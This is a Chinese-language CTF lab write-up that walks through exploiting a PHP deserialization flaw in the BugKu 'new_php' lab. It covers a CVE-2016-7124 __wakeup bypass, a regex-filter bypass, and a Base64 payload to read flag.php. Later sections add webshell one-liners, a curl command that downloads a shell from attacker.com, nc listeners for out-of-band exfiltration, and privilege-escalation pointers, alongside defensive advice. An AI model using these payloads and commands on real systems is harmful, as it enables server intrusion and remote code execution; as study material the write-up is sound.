PHP反序列化漏洞实战:从原理到Getshell的完整利用链分析

发布时间:2026/8/2 10:28:45

PHP反序列化漏洞实战:从原理到Getshell的完整利用链分析 1. 项目概述一次经典的PHP反序列化漏洞实战复盘最近在整理CTFCapture The Flag题目和渗透测试的实战笔记时翻到了一个非常经典的靶场环境——“BugKu-new_php”。这个题目虽然名字简单但它几乎囊括了PHP反序列化漏洞从发现到利用的完整链条特别是对魔术方法__wakeup和__destruct的巧妙利用是理解PHP对象注入攻击的绝佳案例。很多新手朋友一看到反序列化就觉得头大感觉涉及底层原理其实拆解开来它的核心逻辑非常清晰。今天我就以这个“BugKu-new_php”为例带大家从头到尾走一遍不仅讲清楚怎么“打”下来更重要的是讲明白为什么要这么做以及在真实渗透测试或代码审计中你该如何发现并利用这类漏洞。无论你是正在学习Web安全的在校生还是希望巩固基础的初级安全工程师这篇复盘都能给你带来直接的收获。简单来说这个靶场环境模拟了一个存在缺陷的PHP应用。攻击者通过构造一个特殊的序列化字符串传递给应用的反序列化函数最终可以触发任意代码执行从而拿到服务器的控制权俗称Getshell。整个过程就像是用一把特制的钥匙恶意序列化数据去开一把有设计缺陷的锁存在漏洞的PHP代码一旦钥匙形状对了锁就开了。下面我们就来一步步打造这把“钥匙”。2. 漏洞原理深度拆解为什么反序列化如此危险在深入“BugKu-new_php”的具体代码之前我们必须先夯实基础。很多人在复现漏洞时只是机械地输入Payload攻击载荷却不明白其所以然这样一旦遇到变种就会束手无策。理解原理才能举一反三。2.1 序列化与反序列化数据的“打包”与“拆包”你可以把序列化serialize想象成快递打包。PHP程序中有一些复杂的数据比如一个包含多个属性和方法的对象Object或者一个嵌套很深的数组。为了能方便地存储到数据库、写入文件或者通过网络发送给另一个程序我们需要把它转换成一种通用的、线性的字符串格式。这个过程就是序列化。反之反序列化unserialize就是拆快递。当程序需要这些数据时它读取这个字符串并根据字符串中的描述重新在内存中构建出原来的对象或数组。一个简单的例子class User { public $username ‘admin‘; public $isAdmin false; } $user new User(); $serialized_string serialize($user); echo $serialized_string; // 输出O:4:“User”:2:{s:8:“username”;s:5:“admin”;s:7:“isAdmin”;b:0;}这个字符串O:4:“User”:2:{...}就是序列化后的结果。它明确告诉PHP这是一个对象O类名长度是4“User”有2个属性。后面跟着每个属性的类型、长度和值。2.2 魔术方法对象的“自动触发器”PHP类中可以定义一些特殊的方法它们会在对象生命周期的特定时刻被自动调用这些就是魔术方法Magic Methods。在反序列化漏洞中最关键的两个是__wakeup(): 当一个对象被反序列化即从字符串重建时__wakeup()方法会自动被调用。它常用于重新建立数据库连接、初始化资源等。__destruct(): 当一个对象被销毁时例如脚本执行结束或对象被显式unset__destruct()方法会自动被调用。它常用于关闭文件句柄、保存日志等清理工作。漏洞的根源就在这里如果攻击者能够控制反序列化过程中的数据即控制对象的属性值并且目标类中定义了这些魔术方法而方法内部的代码又使用了这些可控的属性那么攻击者就有可能操纵程序的执行逻辑。2.3 漏洞产生条件与攻击链一个典型的PHP反序列化漏洞需要同时满足以下几个条件形成完整的攻击链存在反序列化操作代码中某处使用了unserialize()函数并且其参数或参数的一部分用户可控。常见的入口点包括接收Cookie、POST/GET参数、处理文件上传内容、读取数据库存储的配置等。存在包含魔术方法的类在代码作用域内通常是当前文件或通过autoload引入的文件定义了包含__wakeup、__destruct、__toString等魔术方法的类。魔术方法中存在危险操作这些魔术方法中使用了对象自身的属性去执行一些危险函数例如eval()、system()、file_put_contents()或者调用其他对象的方法。属性可控攻击者通过控制序列化字符串能够操纵这些危险操作所依赖的属性值。当这四个条件串联起来攻击链就形成了用户输入可控的反序列化 - 触发魔术方法自动执行 - 魔术方法使用可控属性执行危险代码。注意在真实场景中我们往往无法直接看到后端代码黑盒测试。因此我们需要通过信息收集如报错信息、泄露的源码、.bak备份文件等来推断类的结构或者利用PHP内置的通用类称为“POP链” Gadget Chains进行攻击这需要更深入的知识。但“BugKu-new_php”属于白盒审计我们可以直接分析源码这降低了入门门槛。3. “BugKu-new_php” 靶场代码审计与思路分析现在让我们把目光聚焦到“BugKu-new_php”这个具体的靶场上。假设我们已经通过某种方式例如目录扫描发现了index.php.bak文件拿到了它的源代码。核心的漏洞文件内容通常如下所示?php class Demo { private $file ‘index.php‘; public function __construct($file) { $this-file $file; } function __destruct() { echo highlight_file($this-file, true); } function __wakeup() { if ($this-file ! ‘index.php‘) { // 关键漏洞点试图“保护”文件但策略可被绕过 $this-file ‘index.php‘; } } } if (isset($_GET[‘var‘])) { $var base64_decode($_GET[‘var‘]); // 反序列化入口参数用户完全可控 if (preg_match(‘/[oc]:\d:/i‘, $var)) { die(‘stop hacking!‘); } else { unserialize($var); } } else { highlight_file(“index.php”); } ?3.1 关键代码段解读我们来逐行分析这段代码的意图和漏洞点类定义class Demo有一个私有属性$file默认值是‘index.php‘。__construct构造函数在创建对象时设置$file属性。__destruct析构函数这是我们的目标。它会使用highlight_file()函数高亮显示$this-file指定的文件内容。如果我们能控制$file就能读取服务器上的任意文件。__wakeup方法这是一个“防御”逻辑。当对象被反序列化时它会检查$file属性是否不等于‘index.php‘。如果是就强行把它改回‘index.php‘。这看起来阻止了我们利用__destruct去读取其他文件。用户输入处理代码检查是否存在$_GET[‘var‘]参数。将其进行base64_decode解码。然后进行一个关键的正则过滤preg_match(‘/[oc]:\d:/i‘, $var)。这个正则匹配的是序列化字符串中对象O:或自定义对象C:的声明格式例如O:4:“Demo”:1:{...}。如果匹配到就直接die(‘stop hacking!‘)。这是一个常见的、但不完善的防御手段。如果通过了过滤就执行unserialize($var)。符号用于抑制错误信息。3.2 攻击思路推导我们的目标是让__destruct()方法中的highlight_file($this-file)读取我们指定的文件例如/etc/passwd或网站源码。但面临两个障碍__wakeup()的重置在反序列化后__wakeup()会立即执行如果$file不是‘index.php‘它会被重置。正则过滤直接序列化Demo对象得到的字符串O:4:“Demo”:1:{...}会被正则匹配到导致程序终止。解决方案如下绕过__wakeup()这里利用了一个在特定PHP版本PHP5 5.6.25, PHP7 7.0.10中存在的著名漏洞CVE-2016-7124。当序列化字符串中表示对象属性数量的值O:4:“Demo”:1:中的1大于实际类中定义的属性数量时__wakeup()方法将不会被执行。在这个Demo类中只有一个属性$file。所以如果我们把序列化字符串中的属性数量从1改为更大的数字例如2就能绕过__wakeup()。绕过正则过滤正则匹配的是[oc]:\d:。我们可以通过修改序列化字符串的格式来绕过。一个有效的方法是在对象声明O:和数字之间插入一个号变成O:4:“Demo”:...。preg_match默认的字符串匹配会匹配到O:4但unserialize()函数在解析时会忽略数字前面的号仍然能正确反序列化。这是利用了解析差异。因此完整的攻击链是构造一个Demo对象将其$file属性设置为目标文件路径如flag.php。序列化这个对象。手动修改序列化字符串a) 将属性数量改为更大的数如2b) 在O:和数字间插入。将修改后的字符串进行 Base64 编码。通过?var参数传递给服务器。4. 漏洞利用实操手把手构造Payload理解了原理和思路接下来就是动手环节。我们会在自己的测试环境如用Docker快速搭建的PHP环境里一步步构造攻击载荷。4.1 环境准备与初步测试首先将上面的漏洞代码保存为index.php部署到你的PHP服务器上。访问该页面正常情况下你会看到代码高亮显示的源码。为了生成Payload我们需要写一个PHP脚本。因为$file是私有属性在序列化字符串中表示方式与公有属性不同手动拼接容易出错最好用PHP来生成基础字符串。创建一个exp.php文件?php class Demo { private $file ‘index.php‘; public function __construct($file) { $this-file $file; } // 为了生成序列化字符串这里不需要定义 __destruct 和 __wakeup } // 1. 创建对象指定要读取的文件 $obj new Demo(‘flag.php‘); // 假设目标文件是 flag.php // 2. 生成基础序列化字符串 $serialized serialize($obj); echo “基础序列化字符串: “ . $serialized . “\n”; // 输出示例O:4:“Demo”:1:{s:10:“Demofile”;s:8:“flag.php”;} ?运行这个脚本你会得到类似O:4:“Demo”:1:{s:10:“Demofile”;s:8:“flag.php”;}的字符串。注意私有属性$file的序列化格式s:10:“Demofile”。这里的Demofile是类名 属性名长度为10Demo的4个字符 file的4个字符 空字符。不同环境下可能略有差异以你实际生成的为准。4.2 手工修改Payload实现双重绕过现在我们拿到基础字符串O:4:“Demo”:1:{s:10:“Demofile”;s:8:“flag.php”;}需要对其进行两次手术绕过__wakeup()(CVE-2016-7124)将对象属性数量1改为一个更大的数比如2。字符串变为O:4:“Demo”:2:{s:10:“Demofile”;s:8:“flag.php”;}。注意这里只是改了数字后面花括号{}里的实际属性数量并没有增加。这就是触发漏洞的关键。绕过正则过滤在O:4中间插入一个号。字符串变为O:4:“Demo”:2:{s:10:“Demofile”;s:8:“flag.php”;}。修改后的Payload就是O:4:“Demo”:2:{s:10:“Demofile”;s:8:“flag.php”;}4.3 最终Payload生成与发送最后一步将修改后的字符串进行Base64编码然后通过GET参数传递。我们可以用PHP命令行完成php -r “echo base64_encode(‘O:4:\“Demo\”:2:{s:10:\“Demofile\”;s:8:\“flag.php\”;}’);”或者用Pythonimport base64 payload ‘O:4:“Demo”:2:{s:10:“Demofile”;s:8:“flag.php”;}‘ print(base64.b64encode(payload.encode()).decode())你会得到一个Base64字符串例如TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbGFnLnBocCI7fQ现在在浏览器中访问你的靶场URL附加上这个Payloadhttp://your-target-site.com/index.php?varTzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbGFnLnBocCI7fQ如果一切顺利__wakeup()被绕过__destruct()正常执行页面将不会显示index.php的源码而是会高亮显示flag.php文件的内容漏洞利用成功。实操心得在实际操作中目标文件可能不叫flag.php可能是./flag、/flag、../../../../etc/passwd等。这就需要结合目录遍历、信息收集来猜测。另外如果highlight_file()被禁用我们可能需要寻找其他魔术方法中更直接的代码执行点比如__toString()中使用了eval($this-xxx)。5. 漏洞的深入利用与扩展思考成功读取文件只是第一步。在真实的渗透测试中反序列化漏洞的终极目标往往是获取远程代码执行RCE的能力从而在服务器上建立持久化后门。5.1 从文件读取到代码执行Getshell如果__destruct()或其它魔术方法中使用的不是highlight_file而是eval()、system()、file_put_contents()等函数那么攻击将更加直接。假设存在这样一个危险的类class Evil { public $cmd; function __destruct() { system($this-cmd); } }那么我们只需要生成$cmd‘whoami‘的序列化对象就能执行系统命令。通过命令拼接可以写入Webshell# 写入一句话木马 echo ‘?php eval($_POST[“cmd”]);?‘ shell.php # 或者利用curl下载远程脚本 curl http://attacker.com/shell.txt -o /var/www/html/shell.php5.2 利用POP链进行“无中生有”的攻击在“BugKu-new_php”中我们很幸运漏洞类直接包含了危险方法。但在更复杂的现代PHP应用如使用Laravel、ThinkPHP等框架或启用了自动加载的组件中危险方法可能分布在不同的类里。这时我们需要寻找一条“属性-方法”调用链即POP链Property-Oriented Programming Chain。POP链的核心思想是控制一个对象的属性A该属性是另一个对象B。当程序调用A的某个方法时可能在__destruct中这个方法内部又调用了B的某个危险方法。我们需要通过精心构造的序列化数据将这些对象像链条一样连接起来让程序在反序列化后的析构过程中自动遍历执行这条链最终触发代码执行。构建POP链是PHP反序列化漏洞利用的高级技巧需要对目标代码库有深入的了解或者利用已知的、框架内置的通用Gadget链例如Monolog、GuzzleHttp等库中的链。5.3 防御手段与代码审计建议作为开发者如何避免写出存在反序列化漏洞的代码呢根本方法避免反序列化不可信数据。永远不要对用户输入、Cookie、未经验证的网络数据直接使用unserialize()。如果必须使用考虑安全的替代方案如JSON格式json_decode。使用白名单机制如果业务必须反序列化可以限制反序列化允许的类名。PHP 7引入了unserialize()的第二个参数$allowed_classes可以指定一个允许反序列化的类名数组。$data unserialize($input, [‘allowed_classes‘ [‘SafeClass1‘, ‘SafeClass2‘]]);签名与验证对序列化数据进行数字签名HMAC在反序列化前验证其完整性和来源可靠性。避免在魔术方法中执行关键操作尽量不要在__wakeup、__destruct、__toString等魔术方法中使用对象属性执行文件操作、数据库查询、系统命令等。如果不可避免必须对属性值进行严格的过滤和验证。及时更新PHP版本像CVE-2016-7124这类底层漏洞及时更新PHP版本到安全分支是成本最低的修复方式。作为安全研究人员或渗透测试员在代码审计时应重点关注全局搜索unserialize(函数调用点。审查其参数是否用户可控。分析代码中包含的类特别是那些定义了__wakeup、__destruct、__call、__toString、__get、__set等魔术方法的类。绘制这些类的方法调用图寻找从魔术方法到危险函数如eval、system、file_put_contents的潜在路径。6. 实战中常见问题与排查技巧即便理解了原理在实际操作中你仍可能会遇到各种问题。下面我整理了一些常见坑点和排查思路。6.1 Payload构造失败问题Base64解码失败或反序列化时PHP报错即使有抑制也可能在日志中看到。排查检查字符转义在手动修改序列化字符串时引号和反斜杠很容易出错。最好使用脚本生成基础Payload然后用脚本进行字符串替换和编码。检查属性修饰符公有public、受保护protected、私有private属性在序列化字符串中的表示方式不同。protected属性会在字段名前加*private属性会加类名前缀如%00Demo%00file。在URL传输时空字符%00可能导致问题有时需要URL编码。使用精确的生成脚本在你的攻击机上用和目标环境相同版本的PHP来生成基础Payload以确保序列化格式一致。6.2 绕过了过滤但未触发漏洞问题Payload通过了正则过滤也没有报错但依然只显示了index.php的内容__destruct似乎没执行或$file被重置了。排查确认PHP版本CVE-2016-7124的绕过有版本限制。确认目标PHP版本在受影响范围内PHP5 5.6.25 或 PHP7 7.0.10。如果版本已修复此绕过无效。检查__wakeup逻辑仔细阅读__wakeup方法。有时它不止检查一个属性或者有更复杂的逻辑。需要确保你的Payload能完全绕过其检查逻辑。对象是否被成功销毁__destruct在对象销毁时触发。如果脚本中对象被赋值给了其他长期存在的变量或者在反序列化后脚本立即用exit()或die()结束可能会影响析构函数的执行时机。可以尝试在Payload后添加垃圾数据或利用PHP的引用机制来确保对象被正常回收。6.3 寻找可利用的类与POP链问题在审计一个大型项目时找到了可控的unserialize点但代码里没有像Demo这样明显的危险类。排查搜索魔术方法使用grep -r “function __“ src/命令查找所有魔术方法。分析框架核心类许多漏洞存在于框架的基类或常用组件中。研究__destruct方法里是否有close、save、log、__call等调用这些可能成为POP链的起点。利用已知工具使用像phpggcPHP Generic Gadget Chains这样的工具它集成了针对主流框架如Laravel、Symfony、ThinkPHP和库如Guzzle、Monolog的POP链。你可以直接生成Payload进行测试。动态调试在可控环境搭建调试场景通过打印日志或使用Xdebug跟踪反序列化后对象的生命周期和方法调用顺序帮助理解POP链的走向。6.4 漏洞利用的“最后一公里”问题成功执行了命令但无法回显结果盲注或者权限受限。技巧外带数据OOB如果命令执行无回显可以尝试让目标服务器主动连接你的监听端口通过DNS查询或HTTP请求将命令结果带出来。# 在攻击机监听 nc -lvnp 4444 # Payload中的命令 curl http://your-ip:4444/?whoami写入Webshell这是最稳定的方式。确保你知道网站的绝对路径。echo ‘?system($_GET[“c”]);?‘ /var/www/html/shell.php权限提升如果当前是www-data用户可以尝试查找具有SUID权限的可执行文件、利用内核漏洞或错误的sudo配置进行提权。回顾整个“BugKu-new_php”的漏洞利用过程从理解序列化原理到分析魔术方法的自动触发机制再到一步步构造Payload绕过防御最后实现任意文件读取这是一条非常清晰的学习路径。它告诉我们再复杂的漏洞拆解到底层都是对输入数据、程序逻辑和外部交互的深刻理解。在实战中耐心和细致往往比掌握炫酷的工具更重要。下次当你再看到unserialize()函数时不妨多花几分钟思考一下它的参数从哪来程序里又定义了哪些有趣的魔术方法或许就能发现一个潜在的突破口。

相关新闻